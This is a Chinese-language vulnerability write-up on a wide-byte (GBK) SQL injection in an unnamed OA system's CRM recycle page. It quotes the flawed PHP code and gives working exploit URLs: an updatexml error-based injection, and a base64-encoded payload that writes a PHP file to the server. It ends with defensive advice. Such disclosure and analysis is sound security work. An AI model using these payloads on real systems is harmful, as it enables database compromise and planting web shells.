某OA 后台 Getshell 发现及分析
字数 1221 2025-08-03 16:42:26
某OA系统后台Getshell漏洞分析与利用
漏洞概述
本文详细分析某OA系统老版本中存在的宽字节注入漏洞,以及如何利用该漏洞实现Getshell。该漏洞主要由于系统采用GBK编码且多处SQL语句直接拼接变量导致,攻击者可利用宽字节注入配合文件包含漏洞写入Webshell。
漏洞发现
该OA系统老版本中存在多处安全缺陷:
- 大量SQL语句直接采用拼接变量的形式
- 系统整体采用GBK编码
- 缺乏有效的输入过滤和参数化查询
这些缺陷共同导致了宽字节注入漏洞的存在。
漏洞分析
漏洞点一:getModuleQuickLinkStr()函数注入
位于webroot\general\crm\apps\crm\include\interface\list.interface.php文件中的getModuleQuickLinkStr()函数存在SQL注入漏洞:
function getModuleQuickLinkStr($entity) {
// ...省略部分代码...
foreach ($entitys as $entity_name => $entity_label) {
$str .= "<option value='".$entity_name."' title='{$entity_label}'>".(18 < strlen($entity_label) ? substr($entity_label, 0, 16).".." : $entity_label)."</option>";
}
// ...省略部分代码...
}
关键问题:
$entity_name直接拼接进SQL语句- 未对输入进行过滤或转义
- 系统使用GBK编码,可利用宽字节注入绕过转义
漏洞点二:recycle/show.php文件调用
webroot\general\crm\studio\modules\recycle\show.php文件调用了存在漏洞的getModuleQuickLinkStr()函数,且$ENTITY参数可控:
// 文件包含漏洞函数调用
$ENTITY = $_REQUEST['entity_name'];
// ...省略部分代码...
$quickLinkStr = getModuleQuickLinkStr($ENTITY);
漏洞利用
宽字节注入验证
构造如下Payload验证注入点:
/general/crm/studio/modules/recycle/show.php?entity_name=1%da' and updatexml(1,concat(0x7e,user(),0x7e),1)--+
解释:
%da':利用GBK编码特性绕过转义updatexml:触发报错注入,显示当前数据库用户
Getshell利用
构造特殊Payload写入Webshell:
/general/crm/studio/modules/recycle/show.php?entity_name=1%d5' ${ fputs(fopen(base64_decode(YXY4ZC5waHA),w),base64_decode(PD9waHAKCWVjaG8gZGF0ZSgnWS1tLWQgaDppOnMnLCB0aW1lKCkpOw))} #
关键点解析:
%d5':宽字节注入绕过${ ... }:执行PHP代码base64_decode(YXY4ZC5waHA):解码后为av4d.php(Webshell文件名)base64_decode(PD9waHAKCWVjaG8gZGF0ZSgnWS1tLWQgaDppOnMnLCB0aW1lKCkpOw):解码后为:<?php echo date('Y-m-d h:i:s', time());
重要注意事项:
- Base64编码后的Payload中不能包含
=符号,否则无法成功写入 - 写入的Webshell路径需要可写
- 需要知道系统绝对路径(可通过报错信息获取)
防御建议
- 使用参数化查询:避免直接拼接SQL语句
- 统一字符编码:建议使用UTF-8编码
- 输入过滤:对所有用户输入进行严格过滤
- 最小权限原则:数据库账户使用最小必要权限
- 错误处理:避免显示详细错误信息
- 文件写入限制:限制Web目录的写入权限
- WAF防护:部署Web应用防火墙拦截注入攻击
总结
该漏洞展示了传统OA系统中常见的安全问题组合:宽字节注入、SQL注入和文件写入漏洞的结合。通过深入理解系统编码机制和漏洞原理,攻击者可以构造特殊Payload实现Getshell。开发人员应重视基础安全编码规范,避免此类漏洞的产生。